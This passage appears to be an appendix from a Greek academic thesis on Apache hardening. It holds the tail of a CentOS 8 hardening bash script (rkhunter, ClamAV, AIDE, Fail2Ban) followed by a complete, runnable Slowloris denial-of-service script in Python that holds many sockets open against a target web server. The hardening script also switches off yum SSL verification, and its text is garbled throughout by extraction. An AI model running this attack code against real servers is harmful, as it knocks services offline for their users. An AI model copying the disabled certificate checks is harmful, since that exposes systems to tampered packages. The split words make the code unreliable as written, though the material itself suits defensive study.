 append_config "APT_AUTOGEN=\"yes\"" $RKHUNTERCONF 

 

 rkhunter --p ropupd 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: enable_clamav 

#   DESCRIPTION: Install, configure and enable clamav antiv irus  

#     PARAMETER: --- 

#========================================================================  

function enable_clamav() 

{ 

 log_info "Installation of Clamav antivirus in progress. Please wait..."  

 install_packages $CLAMAV_PACKAGES 

  

 log_info "Is going to configure and enable CLAMAV"  

 setsebool -P antiv irus_can_scan_system 1 

 backup_file $CLAMAVCONF 

 backup_file $CLAMAVSERVICE 

 sed -i 's/#LocalSocket \/run/LocalSocket \/run/g' $CLAMAVCONF 

 sed -i 's/scanner (%i) daemon/scanner daemon/g' $CLAMAVSERVICE 

 sed -i 's/\/etc\/clamd.d\/%i.conf/\/etc\/clamd.d\/scan.conf/g' $CLAMAVSERVICE 

 freshclam 

 

 systemctl enable clamav-freshclam.service  

 systemctl start clamav-freshclam.service  

  

 mkdir /var/log/clamav/  

 touch /var/log/clamav/user_clamscan.log 

 cron_clamscan=$(cat <<EOF 

#!/bin/bash 

# SCAN_DIR="/home" 

# LOG_FILE="/var/log/clamav/user_clamscan.log"  

/usr/bin/clamscan -i -r /home >> /var/log/clamav/user_clamscan.log  

EOF 

) 

 append_config "$cron_clamscan" $CRON_DAILY_CLAMSCAN 

 chmod +x $CRON_DAILY_CLAMSCAN 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: aide_ids 

#   DESCRIPTION: Install, configure and enable aide IDS  

#     PARAMETER: --- 

#========================================================================  

function aide_ids() 

{ 

 log_info "Installation of Aide IDS in progress. Please wait..."  

 install_packages $AIDE_PACKAGE 

  

 log_info "Is going to secure Aide" 

 backup_file $AIDECONFIG 

 sed -i 's/^Checksums =.*/Checksums = sha512/' $AIDECONFIG 
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 log_info "Is going to set Aide postinstall"  

 aide --in it 

 log_info "Building AIDE init ial db, please wait..."  

 cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2> /dev/null 1>&2 

  

 log_info "Enabling AIDE check daily" 

  

 aide_check_service=$(cat <<EOF 

[Unit ] 

Description=Aide Check 

 

[Serv ice] 

Type=simple  

ExecStart=/usr/sbin/aide --check 

 

[Install] 

WantedBy=mult i-user.target 

EOF 

) 

 append_config "$aide_check_service" $AIDE_CHECK_SERVICE  

  

 aide_check_timer=$(cat <<EOF 

[Unit ] 

Description=Aide check every day at midnight 

 

[Timer] 

OnCalendar=*-*-* 00:00:00 

Unit=/etc/systemd/system/aidecheck.service  

 

[Install] 

WantedBy=mult i-user.target 

EOF 

) 

 append_config "$aide_check_timer" $AIDE_CHECK_TIMER 

  

 chmod 0644 /etc/systemd/system/aidecheck.* 

 

 systemctl reenable aidecheck.timer 

 systemctl start aidecheck.timer 

 systemctl daemon-reload  

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: enable_fail2Ban  

#   DESCRIPTION: Install, configure and enable Fail2Ban IDS  

#     PARAMETER: --- 

#========================================================================  

function enable_fail2Ban() 

{ 

 log_info "Installation of Fail2Ban IDS in progress. Please wait..."  

 install_packages $FAIL2BAN_PACKAGE 

  

 log_info "Is going to configure and enable Fail2Ban"  

 systemctl enable fail2ban  

 systemctl start fail2ban  

  

 jail_local=$(cat <<EOF 

[ssh] 

 

enabled = true 
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port = ssh 

filter = sshd 

logpath = /var/log/auth.log 

maxretry = 3 

EOF 

) 

 touch /var/log/auth.log 

 append_config "$jail_local" $FAIL2BAN_CONFIG 

 systemctl restart fail2ban 

 systemctl status fail2ban --no-pager 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: check_for_restart 

#   DESCRIPTION: Check if reboot needed after system update 

#     PARAMETER: --- 

#========================================================================  

function check_for_restart() 

{ 

 log_info "Is going to check if restart needed" 

 restart=`needs-restarting -r >/dev/null && echo $?` 

 if [[ ${restart} -ne 0 ]]; then 

  log_info "Reboot $HOSTNAME to install kernel or core libs."  

 else 

  LAST_KERNEL=$(rpm -q --last kernel | perl -pe 's/^kernel-(\S+).*/$1/' | head -1) 

  CURRENT_KERNEL=$(uname -r) 

 

  if [[ "${LAST_KERNEL}" != "${CURRENT_KERNEL}" ]]; then  

   log_info "Reboot $HOSTNAME to install kernel or core libs." 

  else 

   log_info "No restart needed!" 

  fi 

 fi 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: auto_cleanup 

#   DESCRIPTION: Execute system cleanup of unused libraries  

#     PARAMETER: --- 

#========================================================================  

function auto_cleanup() { 

 log_info "Is going to auto cleanup the system from unnecessary packages, please wait..."  

 yum autoremove -y 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: execute_hardening_process 

#   DESCRIPTION: Execute hardening process from step 0 to 27 

#     PARAMETER: --- 

#========================================================================  

function execute_hardening_process() 

{ 

 while true; do 

  case $step in 

   '0') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    check_prerequisites 

    increase_step $step 
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    save_step $step 

   ;; 

   '1') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    ssh_hardening 

    increase_step $step 

    save_step $step 

   ;; 

   '2') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    secure_bootloader 

    increase_step $step 

    save_step $step 

   ;; 

   '3') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    disable_unneeded_modules 

    increase_step $step 

    save_step $step 

   ;; 

   '4') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    secure_mounts 

    increase_step $step 

    save_step $step 

   ;; 

   '5') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_sysctl_params 

    increase_step $step 

    save_step $step 

   ;; 

   '6') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_user_limits  

    increase_step $step 

    save_step $step 

   ;; 

   '7') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    remove_suid_bits 

    increase_step $step 

    save_step $step 

   ;; 

   '8') 

    state=$(get_value $step) 
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    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    secure_rhosts_hosts_equiv 

    increase_step $step 

    save_step $step 

   ;; 

   '9') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_tcp_wrappers 

    increase_step $step 

    save_step $step 

   ;; 

   '10') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_logindefs 

    increase_step $step 

    save_step $step 

   ;; 

   '11') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_loginconf 

    increase_step $step 

    save_step $step 

   ;; 

   '12') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    locking_new_users 

    increase_step $step 

    save_step $step 

   ;; 

   '13') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    remove_unneeded_users 

    increase_step $step 

    save_step $step 

   ;; 

   '14') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    disable_ipv6 

    increase_step $step 

    save_step $step 

   ;; 

   '15') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_dns_resovlers 

    increase_step $step 
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    save_step $step 

   ;; 

   '16') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    lock_cronjobs 

    increase_step $step 

    save_step $step 

   ;; 

   '17') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    configure_logrotate 

    increase_step $step 

    save_step $step 

   ;; 

   '18') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    enable_rkhunter 

    increase_step $step 

    save_step $step 

   ;; 

   '19') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $s tate${COLOR_DEFAULT}"  

    enable_clamav  

    increase_step $step 

    save_step $step 

   ;; 

   '20') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    aide_ids 

    increase_step $step 

    save_step $step 

   ;; 

   '21') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    enable_fail2Ban 

    increase_step $step 

    save_step $step 

   ;; 

   '22') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    iptables_hardening 

    increase_step $step 

    save_step $step 

   ;; 

   '23') 

    state=$(get_value $step) 
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    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    apache_hardening 

    increase_step $step 

    save_step $step 

   ;; 

   '24') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    mod_security 

    increase_step $step 

    save_step $step 

   ;; 

   '25') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    mod_evasive 

    increase_step $step 

    save_step $step 

   ;; 

   '26') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    auto_cleanup 

    increase_step $step 

    save_step $step 

   ;; 

   '27') 

    state=$(get_value $step) 

    log_info "${COLOR_GREEN}Process 

$step/$max_processes_num, executing state: $state${COLOR_DEFAULT}"  

    check_for_restart 

    increase_step $step 

    save_step $step 

   ;; 

   *) 

    log_info "${COLOR_GREEN}End of Apache Hardening Process 

on Centos8!${COLOR_DEFAULT}" 

    _exit  

   ;; 

  esac 

 done 

} 

 

#===  FUNCTION  ==========================================================  

#          NAME: no_check_ssl_certificate 

#   DESCRIPTION: Apply no ssl check upon package downloading 

#     PARAMETER: --- 

#========================================================================  

function no_check_ssl_certificate() 

{ 

 # echo insecure >> ~/.curlrc  

 if ! cat /etc/yum.conf | grep -i 'sslverify=false' 2> /dev/null 1>&2; then 

  append_config "sslverify=false" "/etc/yum.conf"  

 fi 

} 
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#===  FUNCTION  ==========================================================  

#          NAME: main  

#   DESCRIPTION: Main method of centos8-apache-hardening script 

#     PARAMETER: --- 

#========================================================================  

function main() 

{ 

 no_check_ssl_certificate  

 script_logo 

 # Apache installation source: https://www.linode.com/docs/guides/how-to-install-apache-web-

server-centos-8/ 

 if [ $DEV -eq 1 ];  then # make clean up 

  log_info "Stared script in DEV mode" 

  rm -rf $FILE 

  rm -rf /tmp/centos8-apache-hardening.lok 

  rm -rf /etc/httpd/crs-rules 

  rm -rf $CUSTOM_CRS_CONF 

  rm -rf $DISABLEMOD 

  rm -rf $DISABLEFS 

  rm -rf $DISABLENET 

  rm -rf /etc/systemd/system/tmp.mount 

  rm -rf /etc/systemd/system/var-tmp.mount 

  rm -rf /etc/systemd/system/dev-shm.mount 

  rm -rf /etc/systemd/system/default.target.wants/ 

  rm -rf $CRON_DAILY_CLAMSCAN 

  rm -rf /var/log/clamav/ 

  rm -rf $AIDE_CHECK_SERVICE 

  rm -rf $AIDE_CHECK_TIMER 

  rm -rf $FAIL2BAN_CONFIG 

  rm -rf $FAIL2BAN_SERVICE_SYMLINK 

  cp $HTTPD_CONF.bak $HTTPD_CONF 2> /dev/null 1>&2 && rm -rf 

$HTTPD_CONF.bak 

  cp $BASE_MODULES.bak $BASE_MODULES 2> /dev/null 1>&2 && rm -rf 

$BASE_MODULES.bak 

  cp $MOD_EVASIVE_CONF.bak $MOD_EVASIVE_CONF 2> /dev/null 1>&2 && 

rm -rf $MOD_EVASIVE_CONF.bak 

  cp $MOD_SECURITY_CONF.bak $MOD_SECURITY_CONF 2> /dev/null 1>&2 

&& rm -rf $MOD_SECURITY_CONF.bak 

  cp $SSHD_CONFIG.bak $SSHD_CONFIG 2> /dev/null 1>&2 && rm -rf 

$SSHD_CONFIG.bak 

  cp $SSHD_PAM.bak $SSHD_PAM 2> /dev/null 1>&2 && rm -rf 

$SSHD_PAM.bak 

  cp $ISSUE_NET.bak $ISSUE_NET 2> /dev/null 1>&2 && rm -rf 

$ISSUE_NET.bak 

  cp $DEFAULTGRUB.bak $DEFAULTGRUB 2> /dev/null 1>&2 && rm -rf 

$DEFAULTGRUB.bak 

  cp $GRUB_40_CUSTOM.bak $GRUB_40_CUSTOM 2> /dev/null 1>&2 && rm -rf 

$GRUB_40_CUSTOM.bak 

  cp $SYSTEMCONF.bak $SYSTEMCONF 2> /dev/null 1>&2 && rm -rf 

$SYSTEMCONF.bak 

  cp $USERCONF.bak $USERCONF 2> /dev/null 1>&2 && rm -rf 

$USERCONF.bak 

  cp $COREDUMPCONF.bak $COREDUMPCONF 2> /dev/null 1>&2 && rm -rf 

$COREDUMPCONF.bak 

  cp $SYSCTL.bak $SYSCTL 2> /dev/null 1>&2 && rm -rf $SYSCTL.bak 

  cp $LIMITSCONF.bak $LIMITSCONF 2> /dev/null 1>&2 && rm -rf 

$LIMITSCONF.bak 

  cp $ETC_PROFILE.bak $ETC_PROFILE 2> /dev/null 1>&2 && rm -rf 

$ETC_PROFILE.bak 
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  cp $ETC_BASHRC.bak $ETC_BASHRC 2> /dev/null 1>&2 && rm -rf 

$ETC_BASHRC.bak 

  cp $NETCONFIG.bak $NETCONFIG 2> /dev/null 1>&2 && rm -rf 

$NETCONFIG.bak 

  cp $RESOLVEDCONF.bak $RESOLVEDCONF 2> /dev/null 1>&2 && rm -rf 

$RESOLVEDCONF.bak 

  cp $NSSWITCH.bak $NSSWITCH 2> /dev/null 1>&2 && rm -rf $NSSWITCH.bak 

  cp $CLAMAVCONF.bak $CLAMAVCONF 2> /dev/null 1>&2 && rm -rf 

$CLAMAVCONF.bak 

  cp $CLAMAVSERVICE.bak $CLAMAVSERVICE 2> /dev/null 1>&2 && rm -rf 

$CLAMAVSERVICE.bak 

  cp $AIDECONFIG.bak $AIDECONFIG 2> /dev/null 1>&2 && rm -rf 

$AIDECONFIG.bak 

  cp $LOGROTATE.bak $LOGROTATE 2> /dev/null 1>&2 && rm -rf 

$LOGROTATE.bak 

  cp $JOURNALDCONF.bak $JOURNALDCONF 2> /dev/null 1>&2 && rm -rf 

$JOURNALDCONF.bak 

 fi 

 acquire_lock 

 retrieve_step 

 execute_hardening_process 

} 

 

main "$@"  

 

5.2 Παξάξηεκα 2: Κώδηθαο Slowloris HTTP Attack 

#!/usr/bin/env python3 

import argparse 

import logging 

import random 

import socket 

import sys 

import time 

 

parser = argparse.ArgumentParser( 

    description="Slowloris, low bandwidth stress test tool for websites" 

) 

parser.add_argument("host", nargs="?", help="Host to perform stress test on") 

parser.add_argument( 

    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int  

) 

parser.add_argument( 

    "-s", 

    "--sockets", 

    defau lt=150, 

    help="Number of sockets to use in the test", 

    type=int, 

) 

parser.add_argument( 

    "-v", 

    "--verbose", 

    dest="verbose", 

    act ion="store_true", 

    help="Increases logging", 

) 

parser.add_argument( 

    "-ua", 
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    "--randuseragents", 

    dest="randuseragent", 

    act ion="store_true", 

    help="Randomizes user-agents with each request", 

) 

parser.add_argument( 

    "-x" , 

    "--useproxy", 

    dest="useproxy", 

    act ion="store_true", 

    help="Use a SOCKS5 proxy for connecting", 

) 

parser.add_argument( 

    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host" 

) 

parser.add_argument( 

    "--proxy-port", default=" 8080", help="SOCKS5 pro xy port", type=int 

) 

parser.add_argument( 

    "--https", 

    dest="https", 

    act ion="store_true", 

    help="Use HTTPS for the requests", 

) 

parser.add_argument( 

    "--sleeptime", 

    dest="sleeptime", 

    defau lt=15, 

    type=int, 

    help="Time to sleep between each header sent.", 

) 

parser.set_defaults(verbose=False) 

parser.set_defaults(randuseragent=False) 

parser.set_defaults(useproxy=False) 

parser.set_defaults(https=False) 

args = parser.parse_args() 

 

if len(sys.argv) <= 1: 

    parser.print_help() 

    sys.exit(1) 

 

if not args.host: 

    print("Host required!") 

    parser.print_help() 

    sys.exit(1) 

 

if args.useproxy: 

    # Tries to import to external "socks" library  

    # and monkey patches socket.socket to connect over 

    # the proxy by default  

    try : 

        import socks 

 

        socks.setdefaultproxy( 

            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port 

        ) 

        socket.socket = socks.socksocket 

        logging.in fo("Using SOCKS5 proxy  for connecting...") 

    except ImportError: 

        logging.error("Socks Proxy Library Not Availab le!")  
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if args.verbose: 

    logging.basicConfig( 

        format="[%(asctime)s] %(message)s", 

        datefmt="%d-%m-%Y %H:%M:%S", 

        level=logging.DEBUG, 

    ) 

else: 

    logging.basicConfig( 

        format="[%(asctime)s] %(message)s", 

        datefmt="%d-%m-%Y %H:%M:%S", 

        level=logging.INFO, 

    ) 

 

if args.https: 

    logging.info("Import ing ssl module")  

    import ssl 

 

list_of_sockets = [] 

user_agents = [ 

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36", 

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) 

Version/10.0 Safari/602.1.50", 

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv :49.0) Gecko/20100101 Firefox/49.0", 

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) 

Version/10.0.1 Safari/602.2.14", 

    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) 

Version/10.0 Safari/602.1.50", 

    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"  

    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 10.0; W OW64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 10.0; W OW64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 10.0; W OW64; rv:49.0) Gecko/20100101 Firefox/49.0",  

    "Mozilla/5.0 (Windows NT 6.1; W in64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (Windows NT 6.1; W in64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 6.1; WOW 64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 6.1; WOW 64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/54.0.2840.71 Safari/537.36",  

    "Mozilla/5.0 (W indows NT 6.1; WOW64; rv :49.0) Gecko/20100101 Firefox/49.0",  

    "Mozilla/5.0 (W indows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", 

    "Mozilla/5.0 (W indows NT 6.3; rv :36.0) Gecko/20100101 Firefox/36.0",  
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    "Mozilla/5.0 (W indows NT 6.3; WOW 64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/53.0.2785.143 Safari/537.36",  

    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv :49.0) Gecko/20100101 Firefox/49.0",  

] 

 

 

class _(socket.socket): 

    def send_line(self, line): 

        line = f"{line}\r\n" 

        self.send(line.encode("utf-8")) 

 

    def send_header(self, name, value): 

        self.send_line(f"{name}: {value}") 

 

 

socket.socket = _ 

 

 

def init_socket(ip): 

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    s.settimeout(4) 

 

    if args.https: 

        s = ssl.wrap_socket(s) 

 

    s.connect((ip, args.port)) 

 

    s.send_line(f" GET /?{random.randint(0, 2000)} HTTP/1.1")  

 

    ua = user_agents[0] 

    if args.randuseragent: 

        ua = random.choice(user_agents) 

 

    s.send_header("User-Agent", ua) 

    s.send_header("Accept-language", "en-US,en,q=0.5") 

    return s 

 

 

def main(): 

    ip = args.host 

    socket_count = args.sockets 

    logging.info("Attacking %s with %s sockets.", ip, socket_count) 

 

    logging.info(" Creating sockets...") 

    for _ in range(socket_count): 

        try: 

            logging.debug("Creating socket nr %s", _) 

            s = init_socket(ip) 

        except socket.error as e: 

            logging.debug(e) 

            break 

        list_of_sockets.append(s) 

 

    while True: 

        try: 

            logging.info( 

                "Sending keep-alive headers... Socket count: %s", 

                len(list_of_sockets), 
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            ) 

            fo r s in list(list_of_sockets): 

                t ry: 

                    s.send_header("X-a", random.randint(1, 5000)) 

                except socket.error: 

                    list_of_sockets.remove(s) 

 

            fo r _ in range(socket_count - len(list_of_sockets)): 

                logging.debug("Recreating socket...") 

                t ry: 

                    s = init_socket(ip) 

                    if s: 

                        list_of_sockets.append(s) 

                except socket.error as e: 

                    logging.debug(e) 

                    break 

            logging.debug("Sleeping for %d seconds", args.sleeptime)  

            time.sleep(args.sleeptime) 

 

        except (KeyboardInterrupt, SystemExit): 

            logging.info("Stopping Slowloris") 

            break 

 

 

if __name__ == "__main__": 

    main() 
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